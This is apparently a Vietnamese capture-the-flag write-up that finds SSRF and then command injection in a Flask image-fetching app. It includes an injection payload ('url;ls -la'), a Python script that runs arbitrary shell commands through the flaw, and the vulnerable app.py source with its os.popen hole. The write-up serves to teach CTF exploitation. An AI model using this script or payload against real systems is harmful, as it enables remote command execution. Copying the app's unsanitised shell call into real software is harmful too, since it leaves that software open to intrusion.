Simple, just enter URL, we will do all the things...

Target: http://139.180.214.198:8080/

Kiểm tra thử web xem có gì không ? Đơn giản chỉ cần nhập URL và web sẽ làm một cái thứ gì đó.

Kiếm một link dẫn tới một bức ảnh thử xem nó có gì thú vị ?
Thử kiểm tra link này: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR8oaj63HOOZY0jdVcyQvJwGAMYloQvdK6KAzVoWTnm3qF7IrG-RwPIluBLyOhAYDh3DtM&usqp=CAU

Oke, it worked.
Vậy thử một chút suy nghĩ khác xem sao. Vậy thử một đường link "khác" thử xem ra sao.

SSRF

Tạo thử 1 file test.txt với nội dung -1.

Thông qua ngrok tạo ra 1 tunnel forward tới port 10001

Ồ ra là như vậy. Vậy thì nghiễm nhiên rằng là có SSRF ở đây rồi :)

Để ý một chút nữa rằng ở phần response thấy được: User-Agent: curl/7.74.0

Vậy thì câu chuyện lại sáng tỏ hơn nữa, để đoán thử thì ở đây user sẽ nhập vào một đường link dẫn đến ảnh và phía server sẽ thực hiện : curl -<option> <url>

Mở rộng hơn nữa, vậy mình test thử xem ở payload <url>; <cmd> xem có điều gì thú vị hơn

Thực ra là có đấy. Hmm vậy thì đúng rồi lại ra thêm câu chuyện của Command Injection.

Command Injection

Kiểm tra kỹ thêm một chút xem sao thông qua payload: url=url;ls+-la

Here we go. Mọi thứ đã sẵn sàng rồi còn gì nữa. Viết 1 đoạn script nhỏ để có thể nhàn hơn trong việc cứ phải nhập lệnh và decode base64 (đội ơn chatGPT):

import requests
import base64
from bs4 import BeautifulSoup

url = "http://139.180.214.198:8080"
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "http://139.180.214.198:8080/",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close",
}

while True:
    payload = input("Enter the command (enter 'q' to quit): ")

    if payload.lower() == 'q':
        print("Quitting...")
        break

    response = requests.post(url, headers=headers, data=f"url=localhost;{payload}")

    soup = BeautifulSoup(response.content, "html.parser")

    image_tag = soup.find("img")
    if image_tag:
        base64_data = image_tag.get("src").split(",")[1]
        decoded_data = base64.b64decode(base64_data).decode("utf-8")

        print("Base64 data decoded:\n")
        print(decoded_data)
    else:
        print("No base64-encoded image found in the response.")

Chạy chương trình và xem something thôi

Đọc flag thôi ạ: VDS{SSRF_and_CMDi_co_ban_vl_f870eb80}

Có CMDi thì có tất cả rồi, rev shell cũng được tùy nhưng không có ý nghĩa gì cho lắm

Xoay quanh file app.py

Quay trở lại đọc xem trong code của app.py có gì đặc biệt:

from flask import Flask, request, render_template, session
import subprocess, os


app = Flask(__name__)
app.template_folder = 'templates'


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        url = request.form.get('url')
        b64_img = process_url(url=url)
        return render_template('show_image.html', b64_img=b64_img)

    return render_template('index.html')


def process_url(url):
    curl_command = ["curl", url, "-s"]
    curl_process = subprocess.run(curl_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    if curl_process.returncode == 0:
        base64_command = ["base64"]
        base64_process = subprocess.run(base64_command, input=curl_process.stdout, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        if base64_process.returncode == 0:
            return base64_process.stdout.strip().decode()

    return os.popen(f'{url} | base64').read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Đưa chatGPT đọc hiểu giùm ạ.

Đã hiểu sơ qua làm gì òi. Vậy có dùng curl rồi và tiếp theo rằng base64 và hiển thị dữ liệu base64 đã mã hóa dưới dạng hình ảnh trên trang web.

Payload là url;ls -la, và điều này nó sẽ tương đương với việc thực hiện đoạn lệnh sau: curl -s url;ls -la . Không có filter hay blacklist nào ở đây cả, câu chuyện đã đơn giản hơn nhiều.

Kết quả trả về sẽ được encode base64 và việc mình đơn giản chỉ là decode thôi :)